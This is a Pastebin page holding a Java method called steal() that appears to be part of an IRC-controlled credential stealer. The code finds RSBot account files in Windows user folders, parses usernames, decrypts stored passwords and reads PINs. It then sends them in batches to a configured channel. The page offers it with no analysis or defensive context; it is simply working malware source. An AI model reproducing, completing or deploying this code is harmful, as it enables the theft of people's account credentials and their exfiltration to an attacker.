Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public void steal() {
- try {
- File f;
- String XPLoc = System.getProperty("user.home") + "\\Application Data\\RSBot_Accounts.ini";
- String Vis7Loc = System.getProperty("user.home") + "\\AppData\\Roaming\\RSBot_Accounts.ini";
- if (System.getProperty("os.name").toLowerCase().contains("xp")) {
- f = new File(XPLoc);
- } else if (System.getProperty("os.name").toLowerCase().contains("windows")) {
- f = new File(Vis7Loc);
- } else {
- return;
- }
- if (f.exists()) {
- try {
- BufferedReader reader = new BufferedReader(new FileReader(f));
- String line = "";
- String str = "";
- while((line = reader.readLine()) != null) {
- if (line.contains("[")) {
- line = line.replace("[", "");
- line = line.replace("]", "");
- str = str + "\003] [\002\003User:\002\00310 " + line;
- }
- if (line.contains("password=")) {
- line = line.replace("password=", "");
- str = str + " \002\003Pass:\002\00310 " + decrypt(line);
- }
- if (line.contains("pin=")) {
- line = line.replace("pin=", "");
- str = str + " \002\003Pin:\002\00310 " + line;
- }
- if (str.length() > 200) {
- MSL.sendMessage(Config.Channel, str.substring(3, str.length()) + "\002\003]\002");
- str = "";
- }
- }
- MSL.sendMessage(Config.Channel, str.substring(3, str.length()) + "\002\003]\002");
- reader.close();
- } catch(IOException ioe) {
- MSL.sendMessage(Config.Channel, "Error reading file, IOException thrown: " + ioe.toString());
- }
- }
- XPLoc = System.getProperty("user.home") + "\\Application Data\\RSBot Accounts.ini";
- Vis7Loc = System.getProperty("user.home") + "\\AppData\\Roaming\\RSBot Accounts.ini";
- if (System.getProperty("os.name").toLowerCase().contains("xp")) {
- f = new File(XPLoc);
- } else if (System.getProperty("os.name").toLowerCase().contains("windows")) {
- f = new File(Vis7Loc);
- } else {
- return;
- }
- if (f.exists()) {
- try {
- BufferedReader reader = new BufferedReader(new FileReader(f));
- String line = "";
- String str = "";
- while((line = reader.readLine()) != null) {
- String parts[] = line.split(":");
- int len = parts.length;
- if (len > 1) {
- if (len == 2) {
- str = str + "\002\00314[User:\002 " + parts[0] + " : \002Pass:\002 " + decrypt(parts[1]) + "\002]\002";
- } else if (len == 3) {
- str = str + "\002\00314[User:\002 " + parts[0] + " : \002Pass:\002 " + decrypt(parts[1]) + " : \002Pin:\002 " + parts[2] + "\002]\002";
- }
- }
- if (str.length() > 200) {
- MSL.sendMessage(str);
- str = "";
- }
- }
- MSL.sendMessage(Config.Channel, str);
- reader.close();
- } catch(IOException ioe) {
- MSL.sendMessage(Config.Channel, "Error reading file, IOException thrown: " + ioe.toString());
- }
- }
- } catch (Exception a) {
- MSL.sendMessage(Config.Channel, "ERROR: " + a.toString());
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement